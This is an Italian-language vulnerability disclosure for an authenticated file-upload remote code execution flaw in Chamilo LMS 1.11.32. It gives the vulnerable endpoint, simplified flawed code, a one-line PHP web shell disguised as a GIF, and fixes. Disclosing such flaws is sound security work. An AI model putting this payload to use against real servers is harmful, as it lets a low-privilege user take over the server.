
Ciao, sono K, questa è la mia prima CVE, che è una vulnerabilità di Remote Code Execution (RCE). È l'inizio del mio percorso come ricercatore di sicurezza.
Esecuzione di codice remota autenticata in Chamilo LMS 1.11.32 tramite una validazione impropria dell'upload di file nell'endpoint AJAX
ck_uploadimage. Uno studente con privilegi bassi può caricare una web shell PHP camuffata da immagine, ottenendo il pieno compromesso del server.
| Campo | Dettagli |
|---|
| Prodotto | Chamilo LMS |
| Versione | 1.11.32 (Confermata) |
| Vulnerabilità | Upload di file senza restrizioni con tipo pericoloso (CWE-434) |
| Impatto | Esecuzione di codice remota autenticata (RCE) |
| CVSS v3.1 | 8.8 (ALTO) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione richiesta | ✅ Sì — Ruolo studente (privilegi bassi) |
| CWE | CWE-434: Upload senza restrizioni di file con tipo pericoloso |
| Scoperto da | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
File vulnerabile: main/inc/ajax/document.ajax.php
Funzione vulnerabile: ck_uploadimage
Il gestore dell'upload esegue solo la validazione del tipo MIME utilizzando la funzione PHP mime_content_type(), che ispeziona i byte magici del file (i primi byte del contenuto), non l'estensione del file.
// Logica di validazione vulnerabile (semplificata)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ Nessuna validazione dell'estensione
// ❌ Nessuna sanificazione del nome file
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
Due debolezze separate si combinano in una catena di sfruttamento completa:
GIF89a) al codice PHP.php, in una directory accessibile via webUn file dannoso viene creato come segue:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() legge GIF89a → lo classifica come image/gif → supera la validazionemove_uploaded_file() lo salva come shell.php in /app/upload/users/<id>/ → direttamente eseguibile tramite browserEsegui l'exploit completo che effettua il login come studente per eseguire automaticamente l'upload del file
Dopo aver eseguito l'exploit Python completo, possiamo trovare la nostra web shell caricata all'indirizzo http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

Lo sfruttamento riuscito di questa vulnerabilità comporta il pieno compromesso del server a partire da un account di livello studente:
Impatto CIA: Perdita completa di Riservatezza, Integrità e Disponibilità.
▪ Applicare una lista bianca rigorosa delle estensioni dei file Devono essere accettate solo le estensioni di file immagine esplicitamente consentite (ad es. .jpg, .png, .gif). I file caricati con estensioni eseguibili come .php, .phtml o .phar devono essere rifiutati indipendentemente dal tipo MIME.
▪ Non affidarsi esclusivamente alla validazione del tipo MIME I controlli del tipo MIME che utilizzano funzioni come mime_content_type() non devono essere usati come controllo di sicurezza primario, poiché possono essere aggirati utilizzando header di file appositamente costruiti. La validazione MIME dovrebbe essere utilizzata solo come controllo secondario.
▪ Archiviare i file caricati al di fuori delle directory accessibili via web Il contenuto caricato deve essere archiviato in una directory non direttamente accessibile tramite il server web. Se è richiesto l'accesso pubblico, i file devono essere serviti tramite un gestore controllato piuttosto che con accesso diretto.
MENG HOKSENG
Ricercatore di sicurezza indipendente
Questo progetto è rilasciato esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. L'autore non è responsabile di qualsiasi uso improprio o danno causato da questo exploit. Ottenere sempre un'autorizzazione scritta esplicita prima di eseguire valutazioni di sicurezza.